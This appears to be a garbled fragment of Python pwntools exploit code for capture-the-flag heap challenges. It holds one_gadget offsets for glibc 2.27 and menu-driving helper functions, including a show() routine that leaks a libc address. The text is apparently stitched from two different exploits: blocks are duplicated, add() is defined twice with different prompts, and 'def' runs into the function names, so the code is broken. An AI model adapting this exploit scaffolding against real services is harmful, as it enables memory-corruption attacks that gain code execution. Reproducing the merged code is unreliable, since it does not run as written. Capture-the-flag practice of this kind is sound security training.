if (version == '2.27'): #one = [0x4f2c5 , 0x4f322 , 0x10a38c] one = [0x4f365, 0x4f3c2, 0x10a45c]
return one
defadd(size, content): p.recvuntil("Input your choice:") p.sendline('1') p.recvuntil("Please input the size of story: \n") p.sendline(str(size)) p.recvuntil("please inpute the story: \n") p.sendline(content) defdelete(index): p.recvuntil("Input your choice:") p.sendline('4') p.recvuntil("Please input the index:\n") p.sendline(str(index))
if (version == '2.27'): #one = [0x4f2c5 , 0x4f322 , 0x10a38c] one = [0x4f365, 0x4f3c2, 0x10a45c]
return one
defadd(name,sex,context): p.sendafter('Give me your choice : ','1') p.sendafter('input name',str(name)) p.sendafter('input sex',str(sex)) p.sendafter('input information',str(context))
defshow(index): p.sendafter('Give me your choice :','2') p.sendlineafter('Give me your index :',str(index)) p.recv() data=u64(p.recvuntil('\x7f').ljust(8, '\x00'))-0x3a4428 success('data : ' + hex(data))
defedit(index,sex,context): p.sendafter('Give me your choice :','3') p.sendafter('Give me your index :',str(index)) p.sendafter('Are you sure change sex?',str(sex)) p.sendafter('Now change information',str(context))
defremove(index): p.sendafter('Give me your choice :','4') p.sendafter('Give me your index :',str(index))